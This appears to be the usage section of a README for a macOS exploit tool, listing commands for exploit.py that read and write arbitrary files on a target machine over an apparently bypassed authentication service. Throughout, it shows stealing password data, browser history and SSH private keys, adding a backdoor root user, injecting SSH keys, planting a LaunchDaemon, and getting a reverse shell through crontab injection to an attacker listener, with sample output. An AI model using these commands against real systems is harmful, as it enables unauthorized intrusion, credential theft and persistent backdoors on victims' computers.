git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

# Read a File from Target

# Read /etc/passwd and display it
python3 exploit.py read -u root 192.168.1.100 /etc/passwd

# Read and save to a local file
python3 exploit.py read -u root 192.168.1.100 /etc/passwd -o passwd.txt

# Read a user's file
python3 exploit.py read -u root 192.168.1.100 /Users/admin/Documents/secret.txt

# Write a File to Target

# Write a local file to target
python3 exploit.py write -u root 192.168.1.100 /tmp/test.txt myfile.txt

# Write with specific permissions (0600 for crontab)
python3 exploit.py write -u root 192.168.1.100 /tmp/secret data.txt -m 0600

# Write from stdin
echo "hello world" | python3 exploit.py write -u root 192.168.1.100 /tmp/test.txt -

# Get a Reverse Shell (SIP Disabled Only)

# On your attacker machine, start a listener in another terminal
nc -nlvp 4444

# Run the exploit
python3 exploit.py exec -u root 192.168.1.100 192.168.1.50 4444
# Where:
#   192.168.1.100 = target Mac IP
#   192.168.1.50  = your attacker IP
#   4444          = port for reverse shell

# Example 1: Reading System Files
# Read the shadow file (if accessible)
python3 exploit.py read -u root 192.168.1.100 /var/db/dslocal/nodes/Default/users/admin.plist -o admin.plist

# Read Safari history
python3 exploit.py read -u root 192.168.1.100 /Users/admin/Library/Safari/History.db -o history.db

# Read SSH keys (if they exist)
python3 exploit.py read -u root 192.168.1.100 /Users/admin/.ssh/id_rsa -o id_rsa

# Example 2: Writing Files

# Create a backdoor user
echo "backdoor:*:0:0:Backdoor:/var/root:/bin/bash" > backdoor.txt
python3 exploit.py write -u root 192.168.1.100 /private/etc/passwd backdoor.txt

# Inject SSH key
python3 exploit.py write -u root 192.168.1.100 /Users/admin/.ssh/authorized_keys ~/.ssh/id_rsa.pub

# Write a startup script
python3 exploit.py write -u root 192.168.1.100 /Library/LaunchDaemons/com.backdoor.plist backdoor.plist

# Example 3: SIP Detection

python3 exploit.py exec -u root 192.168.1.100 192.168.1.50 4444

# Output if SIP is enabled:
# [!] SIP is enabled - crontab injection will fail
# [!] Try using the read/write commands instead

# Output if SIP is disabled:
# [*] SIP is disabled - proceeding with RCE
# [+] Wrote shell script to /var/tmp/.r
# [+] Wrote crontab to /var/at/tabs/root
# [*] Reverse shell should connect to 192.168.1.50:4444 within 60 seconds

# Authentication Bypass Retry
# Increase retry count if it fails
python3 exploit.py read -u root 192.168.1.100 /etc/passwd -r 50

# Port Specification

python3 exploit.py read -u root 192.168.1.100 /etc/passwd -p 5901